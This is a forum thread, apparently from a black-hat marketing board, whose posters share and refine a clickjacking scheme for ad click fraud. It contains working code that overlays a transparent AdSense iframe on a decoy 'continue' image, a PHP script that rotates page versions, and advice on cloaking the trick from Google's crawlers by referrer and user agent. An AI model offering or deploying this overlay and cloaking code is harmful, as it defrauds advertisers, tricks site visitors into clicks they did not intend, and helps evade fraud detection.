Stealing from Google or altervatives. (100% CTR)

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asprind said:
This code creates an invisible iframe on your page and puts the Adsense code inside. But since the only thing inside this iframe is the Adsense code itself, how will Google know which ads to show on your page?

Here's the code:

Code: 
		<style>
			iframe{
				opacity: 0;
				border: 0px none transparent;
				position: absolute;
				top: 0px;
				left: 0px;
				height: 300px;
				width: 250px;
				filter:alpha(opacity=0);
			}
			img{
				position: absolute;
				top: -50px;
				left: 0px;
				height: 300px;
				width: 250px;
			}
		</style>
	</head>
	<body>
		<div>

			<img src="http://healthcenter.uoregon.edu/images/continue.gif"/>
			<script type="text/javascript"><!--
			google_ad_client = "pub-1234567890123456";
			google_ad_width = 300;
			google_ad_height = 250;
			google_ad_format = "300x250_as";
			google_ad_type = "image";
			google_ad_channel = "4479800422";
			//--></script>

			<script type="text/javascript"
			  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
			</script>
		</div>
	</body>
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That's a nice example!

I've tested Adsense ad blocks on blank pages to see what ads will display, and what I got was generic public service ads usually. When I added META keywords, the ads changed pretty shortly to be relevant to those keywords when there was nothing else on the page. It's been a couple of months since I last tested that scenario, but it sure appears to me that Google still does look at meta tags when deciding what ads to display. Obviously, I wouldn't recommend anyone even think about leaving a totally blank page with nothing but an Adsense block on it for very long.
 
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I still amaze of what you guys capable of,

Think of the unthinkable ..... f...kng smart a..ss .... very smart!

Just like Harro said, this method can be apply on any clickable stuff!!!

you guys are really "pain in the ..." for those big dogs .... :D
 
Common BH's, think out of the box. There unlimited altervatives to use this snatch trick.
I even think to use a multiple popup after a click on a adult aff... i smell pu$$y;)
Hope MF's don't gonna sell this on DP, once again great info from oɹɹɐɥ.
 
Gallardo said:
Here's something simple to get you started.

Code: 
      <?php

      $rand = rand(1,2);

      if ($rand == 1)

      print 'YOUR CODE GOES HERE, LEAVE THE QUOTES THOUGH';

      elseif ($rand == 2)

      print 'YOUR CODE GOES HERE, LEAVE THE QUOTES THOUGH';

      ?>

Save the file as rotate.php and upload it to your server.

Code: 
<?php include($_SERVER['DOCUMENT_ROOT'] . "/path/to/where/you/put/the/file/rotate.php)"; ?>

Put this on wherever you want your code to show up.

I suggest you don't try harro method with Adsense if you only have 1 account, try with other networks.

But you can use this php code to easily rotate adsense and another network the WH way.
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do you have anything that works on blogger as well? :rolleyes:
 
asprind said:
I set everything up. Including the sophisticated content rotation script which rotates content based on the referring URL, so if a bot or anyone else from Google visits my page they will see a regular site with regular ads. The page with covered ads will show only for visitors who come from a specified URL(s). The same method is used to keep the CTR low and that is by sending the feeder traffic to a 'clean' page only.

My only question is, does the Adsense code has the ability to scan the page and thus to see that I'm using iframes to cover their ads? Because the iframe is positioned at exactly the same location as the adsense ad is.
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and how do you do it?
do it works with blogger as well?
sorry for a noob question here..:p
 
It won't work with blogger. You have to have access to the source code of the page to use the php rotation script above.
 
Hey HaRRo, this is a great idea!! I was looking at the source code for the followmouse thing and was unsure where the beginning of the code was. I am a noob after all and sorry if this is a dumb question. Help if you can please.
 
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brwipens said:
That's a nice example!

I've tested Adsense ad blocks on blank pages to see what ads will display, and what I got was generic public service ads usually. When I added META keywords, the ads changed pretty shortly to be relevant to those keywords when there was nothing else on the page. It's been a couple of months since I last tested that scenario, but it sure appears to me that Google still does look at meta tags when deciding what ads to display. Obviously, I wouldn't recommend anyone even think about leaving a totally blank page with nothing but an Adsense block on it for very long.
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What other alternative ads codes can be used? Is it possible to use oxado and how the code would look like then?
 
aquarius said:
What other alternative ads codes can be used? Is it possible to use oxado and how the code would look like then?
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Should all be the same you just have to match the image size and the iframe. Basically it is just an overlay. You think your clicking the picture and your actually clicking whats behind it.
 
I have always been wondering if this was possible. Now I know it is. Thanks so much. Thankfully I remembered about this site.
 
Nice tip! But i dont have the balls to try it. haha :P

So anyway, i was thinking of where to use this and...

Why not put it on the proxified page of a proxy site, Use the random code script so you sometimes get the proxified page and other times get an image that says click to continue to page... This way you shouldnt frustrate your visitors to much and google might not be as sus as most of my proxies have around the 10% ctr anyway... Plus you would be guaranteed the user would click the ad when they see it...

Just a thought...
 
As far as I get some people are doing it for a long time...

Can anyone shout out saying something like :yep, i've been milking this for months and it works and i stay under the radars, no problems:
 
isupersam said:
Nice tip! But i dont have the balls to try it. haha :P

So anyway, i was thinking of where to use this and...

Why not put it on the proxified page of a proxy site, Use the random code script so you sometimes get the proxified page and other times get an image that says click to continue to page... This way you shouldnt frustrate your visitors to much and google might not be as sus as most of my proxies have around the 10% ctr anyway... Plus you would be guaranteed the user would click the ad when they see it...

Just a thought...
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im trying to creat custom script and controlling this with cookie.
 
HaRRo how about adbrite?
Oh and is there anyone currently doing this...i would love to get a feedback on this method from the ppl who are doing this or did this recently.
 
Just figured out a way to use this with my own software to make it safe with adsense.
Woot.
 
I wanted to add that you'll want to check the user agent before giving two different versions of the page, as I know that google has a separate adsense bot that crawls pages with adsense routinely. The other services probably have something similar.

I'd take it a step further and only rotate to IE or FF browser agents because there is a lot of unknown bots out there that I see in my referral logs and who knows who or what they crawl for.
 
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